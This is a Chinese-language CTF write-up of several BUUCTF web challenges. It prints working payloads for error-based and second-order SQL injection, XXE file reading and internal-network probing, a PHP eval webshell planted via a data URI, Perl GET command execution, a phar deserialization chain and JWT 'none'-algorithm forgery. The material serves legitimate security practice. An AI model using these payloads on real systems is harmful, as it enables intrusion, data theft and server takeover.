buuCTF web第三页刷题记录
[RCTF2015]EasySQL 登陆注册页面貌似没有什么注册点,但是过滤了一些字符,比如空格。来到修改密码页面,假如以 1” 注册,就会产生报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"" and pwd='c20ad4d76fe97759aa27a0c99bff6710'' at line 1
所以注册点应该是在这里,属于是二次注入 SQL注入之二次注入(详细加演示)_sql二次注入如何注入-CSDN博客 ,既然有报错,那我们就可以利用报错注入 报错注入是什么?一看你就明白了。报错注入原理+步骤+实战案例-CSDN博客
根据这个报错猜测代码是
1 select * from user where username="$user" and password="$pwd"
接下来的 payload(extractValue,空格被过滤)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # 查数据库 1"||(updatexml(1,concat("~",(select(database()))),1))# web_sqli #查表名 1"||(updatexml(1,concat("~",(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli'))),1))# article,flag,users #查列名 1"||(updatexml(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1))# flag #查数据 1"||(updatexml(1,concat('~',(select(group_concat(flag))from(flag))),1))# RCTF{Good job! But flag not her
flag 不在这
1 2 3 4 5 6 #查列名 1"||(updatexml(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))# ~name,pwd,email,real_flag_1s_her #查数据 1"||(updatexml(1,concat('~',(select(group_concat(real_flag_1s_her))from(users))),1))#
这里直接报错了,说不存在 real_flag_1s_her 字段,我们知道报错注入的这些函数只能带出 32 位字符串,所以我们先把 ‘~’ 去除
1 2 3 4 5 1"||(updatexml(1,concat((select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))# real_flag_1s_here 1"||(updatexml(1,concat('~',(select(group_concat(real_flag_1s_here))from(users))),1))# xxx,xxx,xxx,xxx,xxx,xxx,xxx,xxx
这里是因为字段下的值有很多,flag 不好找,所以我们用一下 sql 里的正则匹配 REGEXP 来直接匹配 flag 开头的字符串
SQL:REGEXP (runoob.com)
1 2 1"||(updatexml(1,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),1))# {47580ad2-e2fd-4058-9dac-2c7d3eb
只得到一半,利用 reverse 反转字符串。SQL–字符串反转函数 reverse() 简单明了_sql reverse-CSDN博客
1 2 1"||(updatexml(1,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))# }aff4bbe3d7c2-cad9-8504-df2e-2da
最后反转回来得到 ad2-e2fd-4058-9dac-2c7d3ebb4ffa}
1 flag{47580ad2-e2fd-4058-9dac-2c7d3ebb4ffa}
[NCTF2019]True XML cookbook 看题目名就知道是 xxe 了,打开来是一个登陆页面,简单抓个包。
可以看到返回包有个 admin,可以推测出回显处在 username 标签里,套一下xxe模板验证一下
1 2 3 4 <!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <user > <username > &xxe; </username > <password > 123456</password > </user >
也是拿到了敏感信息,但是没有 flag 文件,尝试拿取源码
1 2 3 4 <!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "file:///var/www/html/doLogin.php" > ]> <user > <username > &xxe; </username > <password > 123456</password > </user >
不知道为什么返回 0,可能因为是 php 文件,我们用伪协议把它转成 base64 .
1 2 3 4 <!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=doLogin.php" > ]> <user > <username > &xxe; </username > <password > 123456</password > </user >
不过没什么有用信息,看 wp 说是 flag 存在于内网主机上,我们需要通过XXE对内网进行探测,这里我们可以用 http 或者 gopher 协议,反正 xxe 都支持。
那么如何确定主机 ip 呢?先查看几个配置文件 /proc/net/fib_trie,/proc/net/arp,/etc/hosts 。这几个文件都跟正在运行的进程的网络配置信息有关
1 2 3 4 <!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "file:///proc/net/fib_trie" > ]> <user > <username > &xxe; </username > <password > 123456</password > </user >
这几个文件和主机 ip 有关,得到几个内网 ip
1 2 3 169.254.1.1 10.244.80.39 10.128.253.12
一般掩码都是 24 位吧,所以就用 BP 爆破最后八位吧,最后发现那个内网 ip 是 10.244.80.xx,还有一种说法是 BUUCTF 转用了K8S管理,他的靶机容器是随机在80,81两个网段里的,所以哪个 ip 用的这两个网段也行。
1 2 3 4 <!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "http://10.244.80.§39§" > ]> <user > <username > &xxe; </username > <password > 123456</password > </user >
这里最好开 100 个线程爆破,最后在 10.244.80.140 发现 flag
[CISCN2019 华北赛区 Day1 Web5]CyberPunk 打开页面,f12 提示 ?file= ,加上提示 flag 在根目录下,先试着读取 /flag,/flag.txt ,没有 o.O ?伪协议读取网站的几个 php 页面看看。
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php ini_set ('open_basedir' , '/var/www/html/' );$file = (isset ($_GET ['file' ]) ? $_GET ['file' ] : null );if (isset ($file )){ if (preg_match ("/phar|zip|bzip2|zlib|data|input|%00/i" ,$file )) { echo ('no way!' ); exit ; } @include ($file ); } ?>
难怪读不了根目录,被 open_basedir 限制住了。继续往下看
confirm.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php require_once "config.php" ;if (!empty ($_POST ["user_name" ]) && !empty ($_POST ["address" ]) && !empty ($_POST ["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST ["user_name" ]; $address = $_POST ["address" ]; $phone = $_POST ["phone" ]; if (preg_match ($pattern ,$user_name ) || preg_match ($pattern ,$phone )){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name} ' and `phone`='{$phone} '" ; $fetch = $db ->query ($sql ); } if ($fetch ->num_rows>0 ) { $msg = $user_name ."已提交订单" ; }else { $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)" ; $re = $db ->prepare ($sql ); $re ->bind_param ("sss" , $user_name , $address , $phone ); $re = $re ->execute (); if (!$re ) { echo 'error' ; print_r ($db ->error); exit ; } $msg = "订单提交成功" ; } } else { $msg = "信息不全" ; } ?>
可以看到有预处理,所以这个页面 sql 注入的可能性应该不大。
change.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php require_once "config.php" ;if (!empty ($_POST ["user_name" ]) && !empty ($_POST ["address" ]) && !empty ($_POST ["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST ["user_name" ]; $address = addslashes ($_POST ["address" ]); $phone = $_POST ["phone" ]; if (preg_match ($pattern ,$user_name ) || preg_match ($pattern ,$phone )){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name} ' and `phone`='{$phone} '" ; $fetch = $db ->query ($sql ); } if (isset ($fetch ) && $fetch ->num_rows>0 ){ $row = $fetch ->fetch_assoc (); $sql = "update `user` set `address`='" .$address ."', `old_address`='" .$row ['address' ]."' where `user_id`=" .$row ['user_id' ]; $result = $db ->query ($sql ); if (!$result ) { echo 'error' ; print_r ($db ->error); exit ; } $msg = "订单修改成功" ; } else { $msg = "未找到订单!" ; } }else { $msg = "信息不全" ; } ?>
这里虽然对 user_name ,phone 做了校验,但是 address 直接就处理了,可以从这里注入,而且查询页面也没有对更新的地址处理,所以相当于这里有一个二次注入点。
1 address=',`address`=database()%23&phone=1&user_name=1
所以直接试试读取文件
1 address=',`address`=load_file("/flag.txt")%23&phone=1&user_name=1
得到 flag。
[HITCON 2017]SSRFme 一道 php 代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 106.224 .184.126 <?php if (isset ($_SERVER ['HTTP_X_FORWARDED_FOR' ])) { $http_x_headers = explode (',' , $_SERVER ['HTTP_X_FORWARDED_FOR' ]); $_SERVER ['REMOTE_ADDR' ] = $http_x_headers [0 ]; } echo $_SERVER ["REMOTE_ADDR" ]; $sandbox = "sandbox/" . md5 ("orange" . $_SERVER ["REMOTE_ADDR" ]); @mkdir ($sandbox ); @chdir ($sandbox ); $data = shell_exec ("GET " . escapeshellarg ($_GET ["url" ])); $info = pathinfo ($_GET ["filename" ]); $dir = str_replace ("." , "" , basename ($info ["dirname" ])); @mkdir ($dir ); @chdir ($dir ); @file_put_contents (basename ($info ["basename" ]), $data ); highlight_file (__FILE__ );
关键在 GET 命令上 linuxget命令详解 • Worktile社区 ,如果第一个参数是文件夹则等得到其下的所有目录以及文件名,如果是文件就能直接下载。
因为 $http_x_headers 可控,所以创建的文件夹以及文件名我们都可以控制,令 X-FORWARDED-FOR 字段为 1,目录计算一下就是 sandbox/b3e24b7672fddf21613da79b21ff7c99 。
直接试一下看根目录
然后访问 sandbox/b3e24b7672fddf21613da79b21ff7c99/b
试着下载 /flag 文件,失败。发现还有 /readflag 文件,应该是权限不够,我们只要执行 /readflag 就能拿到 flag 了。
法一:perl脚本GET系统命令执行 [perl脚本中GET命令执行漏洞(HITCON 2017]SSRFme)_perl漏洞-CSDN博客
1 2 3 touch 'id|' GET ’file:id|' uid=0(root) gid=0(root) groups=0(root)
perl脚本中GET命令基于 open 函数,open 函数支持 file 协议所以可以把文件名当命令来执行(前提该文件存在),我们想执行 /readflag,相当于 bash -c /readflag,那就要先创建一个 bash -c /readflag| 文件。
我们知道创建文件名可控,所以
1 ?url=&filename=bash -c /readflag|
然后执行
1 ?url=file:bash -c /readflag|&filename=b
访问 b 文件即可。
法二:data 伪协议 【HITCON 2017】SSRFme——最简单伪协议思路 - CAP_T - 博客园 (cnblogs.com)
这里也难用 data 协议写🐎,我猜测 open 函数也支持 data 协议(好神奇),命令行会把 <? 作为保留字处理,所以用引号包裹起来
1 ?url=data://text/plain,'<?eval($_POST[1])?>'&filename=shell.php
访问 shell.php sandbox/b3e24b7672fddf21613da79b21ff7c99/shell.php
1 1=system("bash -c /readflag");
即可得到 flag
[网鼎杯 2020 白虎组]PicDown 给了个接口可以文件下载,我傻了一上来就伪协议读取文件,后来才发现这不是 php,先试着读取 /etc/passwd,成功了,可以直接下载。然后查看配置文件 /proc/self/cmdline
cmdline 文件存储着启动当前进程的完整命令,但僵尸进程目录中的此文件不包含任何信息。可以通过查看cmdline目录获取启动指定进程的完整命令:
也就是说这里能看到一些启动应用进程的命令,下载打开
说明这个是 python 的应用
法一: 先下载源码 app.py 看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from flask import Flask, Responsefrom flask import render_templatefrom flask import requestimport osimport urllibapp = Flask(__name__) SECRET_FILE = "/tmp/secret.txt" f = open (SECRET_FILE) SECRET_KEY = f.read().strip() os.remove(SECRET_FILE) @app.route('/' ) def index (): return render_template('search.html' ) @app.route('/page' ) def page (): url = request.args.get("url" ) try : if not url.lower().startswith("file" ): res = urllib.urlopen(url) value = res.read() response = Response(value, mimetype='application/octet-stream' ) response.headers['Content-Disposition' ] = 'attachment; filename=beautiful.jpg' return response else : value = "HACK ERROR!" except : value = "SOMETHING WRONG!" return render_template('search.html' , res=value) @app.route('/no_one_know_the_manager' ) def manager (): key = request.args.get("key" ) print (SECRET_KEY) if key == SECRET_KEY: shell = request.args.get("shell" ) os.system(shell) res = "ok" else : res = "Wrong Key!" return res if __name__ == '__main__' : app.run(host='0.0.0.0' , port=8080 )
可以看到 /no_one_know_the_manager 路由下可以任意代码执行,前提是知道 SECRET_KEY ,而 SECRET_KEY 来自于 /tmp/secret.txt ,这个文件已经被删除了,不过这个文件打开了就没关闭,还是会存在内存当中,会创建文件描述符 ,我们读取文件描述符里的内容就行,proc/self/fd/xx
fd是一个目录,里面包含着当前进程打开的每一个文件的描述符(file descriptor)差不多就是路径啦,这些文件描述符是指向实际文件的一个符号连接,即每个通过这个进程打开的文件都会显示在这里。所以我们可以通过fd目录的文件获取进程,从而打开每个文件的路径以及文件内容
0,1,2 我们都知道,那这个文件的文件描述符就是 3 了。读取 /proc/self/fd/3 ,就能得到 SECRET_KEY,得到了然后执行 shell 无回显直接外带就行了
法二: 非预期读取 /flag
[CISCN2019 华北赛区 Day1 Web1]Dropbox 打开网站,先注册再登录,有一个文件上传的点,且只让上传 jpg,png,gif。这个改一下 Content-Type: image/jpg 就可以绕过。上传成功后有个下载的 api ,可以实现文件读取。
成功读取配置文件,想读 /flag,/flag.txt 的时候失败了,读一下源码。
index.php
1 2 3 4 5 6 7 <?php include "class.php" ;$a = new FileList ($_SESSION ['sandbox' ]);$a ->Name ();$a ->Size ();?>
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 <?php error_reporting (0 );$dbaddr = "127.0.0.1" ;$dbuser = "root" ;$dbpass = "root" ;$dbname = "dropbox" ;$db = new mysqli ($dbaddr , $dbuser , $dbpass , $dbname );class User { public $db ; public function __construct ( ) { global $db ; $this ->db = $db ; } public function user_exist ($username ) { $stmt = $this ->db->prepare ("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;" ); $stmt ->bind_param ("s" , $username ); $stmt ->execute (); $stmt ->store_result (); $count = $stmt ->num_rows; if ($count === 0 ) { return false ; } return true ; } public function add_user ($username , $password ) { if ($this ->user_exist ($username )) { return false ; } $password = sha1 ($password . "SiAchGHmFx" ); $stmt = $this ->db->prepare ("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);" ); $stmt ->bind_param ("ss" , $username , $password ); $stmt ->execute (); return true ; } public function verify_user ($username , $password ) { if (!$this ->user_exist ($username )) { return false ; } $password = sha1 ($password . "SiAchGHmFx" ); $stmt = $this ->db->prepare ("SELECT `password` FROM `users` WHERE `username` = ?;" ); $stmt ->bind_param ("s" , $username ); $stmt ->execute (); $stmt ->bind_result ($expect ); $stmt ->fetch (); if (isset ($expect ) && $expect === $password ) { return true ; } return false ; } public function __destruct ( ) { $this ->db->close (); } } class FileList { private $files ; private $results ; private $funcs ; public function __construct ($path ) { $this ->files = array (); $this ->results = array (); $this ->funcs = array (); $filenames = scandir ($path ); $key = array_search ("." , $filenames ); unset ($filenames [$key ]); $key = array_search (".." , $filenames ); unset ($filenames [$key ]); foreach ($filenames as $filename ) { $file = new File (); $file ->open ($path . $filename ); array_push ($this ->files, $file ); $this ->results[$file ->name ()] = array (); } } public function __call ($func , $args ) { array_push ($this ->funcs, $func ); foreach ($this ->files as $file ) { $this ->results[$file ->name ()][$func ] = $file ->$func (); } } public function __destruct ( ) { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">' ; $table .= '<thead><tr>' ; foreach ($this ->funcs as $func ) { $table .= '<th scope="col" class="text-center">' . htmlentities ($func ) . '</th>' ; } $table .= '<th scope="col" class="text-center">Opt</th>' ; $table .= '</thead><tbody>' ; foreach ($this ->results as $filename => $result ) { $table .= '<tr>' ; foreach ($result as $func => $value ) { $table .= '<td class="text-center">' . htmlentities ($value ) . '</td>' ; } $table .= '<td class="text-center" filename="' . htmlentities ($filename ) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>' ; $table .= '</tr>' ; } echo $table ; } } class File { public $filename ; public function open ($filename ) { $this ->filename = $filename ; if (file_exists ($filename ) && !is_dir ($filename )) { return true ; } else { return false ; } } public function name ( ) { return basename ($this ->filename); } public function size ( ) { $size = filesize ($this ->filename); $units = array (' B' , ' KB' , ' MB' , ' GB' , ' TB' ); for ($i = 0 ; $size >= 1024 && $i < 4 ; $i ++) $size /= 1024 ; return round ($size , 2 ).$units [$i ]; } public function detele ( ) { unlink ($this ->filename); } public function close ( ) { return file_get_contents ($this ->filename); } } ?>
upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php session_start ();if (!isset ($_SESSION ['login' ])) { header ("Location: login.php" ); die (); } include "class.php" ;if (isset ($_FILES ["file" ])) { $filename = $_FILES ["file" ]["name" ]; $pos = strrpos ($filename , "." ); if ($pos !== false ) { $filename = substr ($filename , 0 , $pos ); } $fileext = ".gif" ; switch ($_FILES ["file" ]["type" ]) { case 'image/gif' : $fileext = ".gif" ; break ; case 'image/jpeg' : $fileext = ".jpg" ; break ; case 'image/png' : $fileext = ".png" ; break ; default : $response = array ("success" => false , "error" => "Only gif/jpg/png allowed" ); Header ("Content-type: application/json" ); echo json_encode ($response ); die (); } if (strlen ($filename ) < 40 && strlen ($filename ) !== 0 ) { $dst = $_SESSION ['sandbox' ] . $filename . $fileext ; move_uploaded_file ($_FILES ["file" ]["tmp_name" ], $dst ); $response = array ("success" => true , "error" => "" ); Header ("Content-type: application/json" ); echo json_encode ($response ); } else { $response = array ("success" => false , "error" => "Invaild filename" ); Header ("Content-type: application/json" ); echo json_encode ($response ); } } ?>
download.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php session_start ();if (!isset ($_SESSION ['login' ])) { header ("Location: login.php" ); die (); } if (!isset ($_POST ['filename' ])) { die (); } include "class.php" ;ini_set ("open_basedir" , getcwd () . ":/etc:/tmp" );chdir ($_SESSION ['sandbox' ]);$file = new File ();$filename = (string ) $_POST ['filename' ];if (strlen ($filename ) < 40 && $file ->open ($filename ) && stristr ($filename , "flag" ) === false ) { Header ("Content-type: application/octet-stream" ); Header ("Content-Disposition: attachment; filename=" . basename ($filename )); echo $file ->close (); } else { echo "File not exist" ; } ?>
delete.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php session_start ();if (!isset ($_SESSION ['login' ])) { header ("Location: login.php" ); die (); } if (!isset ($_POST ['filename' ])) { die (); } include "class.php" ;chdir ($_SESSION ['sandbox' ]);$file = new File ();$filename = (string ) $_POST ['filename' ];if (strlen ($filename ) < 40 && $file ->open ($filename )) { $file ->detele (); Header ("Content-type: application/json" ); $response = array ("success" => true , "error" => "" ); echo json_encode ($response ); } else { Header ("Content-type: application/json" ); $response = array ("success" => false , "error" => "File not exist" ); echo json_encode ($response ); } ?>
可以发现 download 页面设置
1 ini_set("open_basedir", getcwd() . ":/etc:/tmp");
所以我们是读不到除了当前页面、/etc、/tmp 这三个目录,这里就不会写了,直接看题解吧。
题解说可以从 delete.php 入手
1 if (strlen($filename) < 40 && $file->open($filename))
我们跟进 open 函数,在 class.php 的 File 类里
1 2 3 4 5 6 7 8 public function open ($filename ) { $this ->filename = $filename ; if (file_exists ($filename ) && !is_dir ($filename )) { return true ; } else { return false ; } }
然后 file_exists 会触发 phar 反序列化
正好 User 类有一个
1 2 3 public function __destruct ( ) { $this ->db->close (); }
而 File 类里 close 方法恰好可以文件包含
1 2 3 public function close ( ) { return file_get_contents ($this ->filename); }
这样就避免从 download 页面触发 close,转而由 delete api 触发,可是没有输出,所以还得找链子。
注意到 FileList 类 的 __destruct 输出了什么,先看构造函数。创建了一个 results 二维数组,一维是 $file->name(),也就是文件名,二维在 __call 里实现 ,是 $file->$func(),而 $func 正好就是 call 传来的参数。
那我们是不是就能构造这样一条链
1 User::__destruct -> FileList::close -> FileList::call -> File::close -> FileList::__destruct
然后输出。
构造 phar
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php unlink ('phar.phar' );class User { public $db ; } class FileList { private $files ; public function __construct ( ) { $this ->files = array (new File ()); } } class File { public $filename ="/flag.txt" ; } $a = new User ();$b = new FileList ();$a -> db = $b ;$phar = new Phar ('phar.phar' );$phar ->startBuffering ();$phar ->setStub ('<?php __HALT_COMPILER();?>' );$phar ->setMetadata ($a );$phar ->addFromString ('1.txt' ,'xxx' );$phar ->stopBuffering ();?>
然后上传,改名成立 phar.jpg 后,在删除位置抓包,改名为
1 filename=phar://phar.jpg
得到 flag。
[b01lers2020]Welcome to Earth 一开始没什么技术水平,不断 ctrl + u 查看源码,然后找路由,找 js。最后在 /fight/ 找到 /static/js/fight.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 function scramble (flag, key ) { for (var i = 0 ; i < key.length ; i++) { let n = key.charCodeAt (i) % flag.length ; let temp = flag[i]; flag[i] = flag[n]; flag[n] = temp; } return flag; } function check_action ( ) { var action = document .getElementById ("action" ).value ; var flag = ["{hey" , "_boy" , "aaaa" , "s_im" , "ck!}" , "_baa" , "aaaa" , "pctf" ]; }
由于不知道 key 值,只能爆破了。已知 开头 pctf{ 结尾 }
1 2 3 4 5 6 7 8 9 10 11 12 from itertools import permutationsimport reflag = ["{hey" , "_boy" , "aaaa" , "s_im" , "ck!}" , "_baa" , "aaaa" , "pctf" ] item = permutations(flag) for a in item: k = '' .join(list (a)) if re.search('^pctf\{hey[a-zA-z_]+ck!\}$' , k): print (k)
1 pctf{hey_boys_im_baaaaaaaaaack!}
[HFCTF2020]EasyLogin 注册完再登录发现有一个 /api/flag 接口,点击后发现权限不够,应该又要从 cookie 入手了。抓包看到 cookie 字段
1 sses:aok=eyJ1c2VybmFtZSI6bnVsbCwiX2V4cGlyZSI6MTcyMTEzMjQ0MTg5MywiX21heEFnZSI6ODY0MDAwMDB9; sses:aok.sig=SvXloEwmT-Q-Lyfpral8kVxv9kQ
拿去 base64 解码再改成 admin 然后发包也没有什么用,那只能从头开始看了
来到登陆注册页面,打开 /static/js/app.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 function login ( ) { const username = $("#username" ).val (); const password = $("#password" ).val (); const token = sessionStorage .getItem ("token" ); $.post ("/api/login" , {username, password, authorization :token}) .done (function (data ) { const {status} = data; if (status) { document .location = "/home" ; } }) .fail (function (xhr, textStatus, errorThrown ) { alert (xhr.responseJSON .message ); }); } function register ( ) { const username = $("#username" ).val (); const password = $("#password" ).val (); $.post ("/api/register" , {username, password}) .done (function (data ) { const { token } = data; sessionStorage .setItem ('token' , token); document .location = "/login" ; }) .fail (function (xhr, textStatus, errorThrown ) { alert (xhr.responseJSON .message ); }); } function logout ( ) { $.get ('/api/logout' ).done (function (data ) { const {status} = data; if (status) { document .location = '/login' ; } }); } function getflag ( ) { $.get ('/api/flag' ).done (function (data ) { const {flag} = data; $("#username" ).val (flag); }).fail (function (xhr, textStatus, errorThrown ) { alert (xhr.responseJSON .message ); }); }
可以看到 koa,说明是 nodejs 的 koa 框架。
注册完再登录抓包
1 username=123&password=123&authorization=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MSwidXNlcm5hbWUiOiIxMjMiLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTcyMTA1MjIyNH0.ZLJcJ-eBcqhEgTS-gRJjNqRrVAhWZzefQk4JWtmMpwc
到这里可以可以猜是 JWT 了,因为是 node 的后台,所以不大可能是 flask session,不过也可以通过代码得知。我们在上一步得到了 koa 框架
可以看到存放路由在 controllers 文件夹下,而且 /static/js/app.js 里的路由从 /api/ 开始的。那么说明控制器下有一个 api.js,访问 /controllers/api.js (koa 的路由规则),就能得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 const crypto = require ('crypto' );const fs = require ('fs' )const jwt = require ('jsonwebtoken' )const APIError = require ('../rest' ).APIError ;module .exports = { 'POST /api/register' : async (ctx, next) => { const {username, password} = ctx.request .body ; if (!username || username === 'admin' ){ throw new APIError ('register error' , 'wrong username' ); } if (global .secrets .length > 100000 ) { global .secrets = []; } const secret = crypto.randomBytes (18 ).toString ('hex' ); const secretid = global .secrets .length ; global .secrets .push (secret) const token = jwt.sign ({secretid, username, password}, secret, {algorithm : 'HS256' }); ctx.rest ({ token : token }); await next (); }, 'POST /api/login' : async (ctx, next) => { const {username, password} = ctx.request .body ; if (!username || !password) { throw new APIError ('login error' , 'username or password is necessary' ); } const token = ctx.header .authorization || ctx.request .body .authorization || ctx.request .query .authorization ; const sid = JSON .parse (Buffer .from (token.split ('.' )[1 ], 'base64' ).toString ()).secretid ; console .log (sid) if (sid === undefined || sid === null || !(sid < global .secrets .length && sid >= 0 )) { throw new APIError ('login error' , 'no such secret id' ); } const secret = global .secrets [sid]; const user = jwt.verify (token, secret, {algorithm : 'HS256' }); const status = username === user.username && password === user.password ; if (status) { ctx.session .username = username; } ctx.rest ({ status }); await next (); }, 'GET /api/flag' : async (ctx, next) => { if (ctx.session .username !== 'admin' ){ throw new APIError ('permission error' , 'permission denied' ); } const flag = fs.readFileSync ('/flag' ).toString (); ctx.rest ({ flag }); await next (); }, 'GET /api/logout' : async (ctx, next) => { ctx.session .username = null ; ctx.rest ({ status : true }) await next (); } };
1 const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
可以看到确实是 jwt。
我们把最开始的 authorization=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MSwidXNlcm5hbWUiOiIxMjMiLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTcyMTA1MjIyNH0.ZLJcJ-eBcqhEgTS-gRJjNqRrVAhWZzefQk4JWtmMpwc 拿去解码
而且我们都知道只要前端 jwt 传递的算法是 none ,那么后端 jwt 解析时就不会按照原有算法进行解析,那我们就可以把 alg 字段设置为 none 来进行绕过
但是这样不行
1 2 3 if (sid === undefined || sid === null || !(sid < global .secrets .length && sid >= 0 )) { throw new APIError ('login error' , 'no such secret id' ); }
不能进这个 if 里面,不然程序直接就结束了。这个 sid 就是 secretid 字段,globals.secrets 也是,我们改成把 secretid 改成数组就行了,js 弱类型,空数组 < 1 && 空数组 == 0。然后 username 字段改成 admin
1 2 3 4 5 6 7 8 9 10 11 12 import jwttoken = jwt.encode( { "secretid" : [], "username" : "admin" , "password" : "123456" , "iat" : 1721052224 }, algorithm="none" , key="" ).encode(encoding='utf-8' ) print (token)
1 eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTcyMTA1MjIyNH0.
得到后登陆时填入再发包
1 username=admin&password=123456&authorization=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTcyMTA1MjIyNH0.
返回包得到
1 2 Set-Cookie: sses:aok=eyJ1c2VybmFtZSI6ImFkbWluIiwiX2V4cGlyZSI6MTcyMTEzODY4ODI3MiwiX21heEFnZSI6ODY0MDAwMDB9; path=/; expires=Tue, 16 Jul 2024 14:04:48 GMT; httponly Set-Cookie: sses:aok.sig=Ylj_bYj_RHpp3OgQU_RN9mfEA60; path=/; expires=Tue, 16 Jul 2024 14:04:48 GMT; httponlyzaba
整理一下,保留我们要的 cookie
1 2 sses:aok=eyJ1c2VybmFtZSI6ImFkbWluIiwiX2V4cGlyZSI6MTcyMTEzODY4ODI3MiwiX21heEFnZSI6ODY0MDAwMDB9 sses:aok.sig=Ylj_bYj_RHpp3OgQU_RN9mfEA60
然后访问 /api/flag 抓包
替换上述 cookie 字段,然后发包得到 flag
[CISCN2019 总决赛 Day2 Web1]Easyweb 打开登录页面,没看出什么,直接扫得到 robots.txt
1 2 User-agent: * Disallow: *.php.bak
可以下载备份文件,主页登陆抓包看到有个 image.php,下载来看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php include "config.php" ;$id =isset ($_GET ["id" ])?$_GET ["id" ]:"1" ;$path =isset ($_GET ["path" ])?$_GET ["path" ]:"" ;$id =addslashes ($id );$path =addslashes ($path );$id =str_replace (array ("\\0" ,"%00" ,"\\'" ,"'" ),"" ,$id );$path =str_replace (array ("\\0" ,"%00" ,"\\'" ,"'" ),"" ,$path );$result =mysqli_query ($con ,"select * from images where id='{$id} ' or path='{$path} '" );$row =mysqli_fetch_array ($result ,MYSQLI_ASSOC);$path ="./" . $row ["path" ];header ("Content-Type: image/jpeg" );readfile ($path );
可以看到应该是可以 sql 注入的,我们让 id=\0 这样就能只剩下一个 ,把 $id 后面那个单引号注释掉了,和 $path 前面那个单引号构造闭合,然后就能注入了,但是 image.php 只会返回图片或者啥也没有,所以只能盲注了
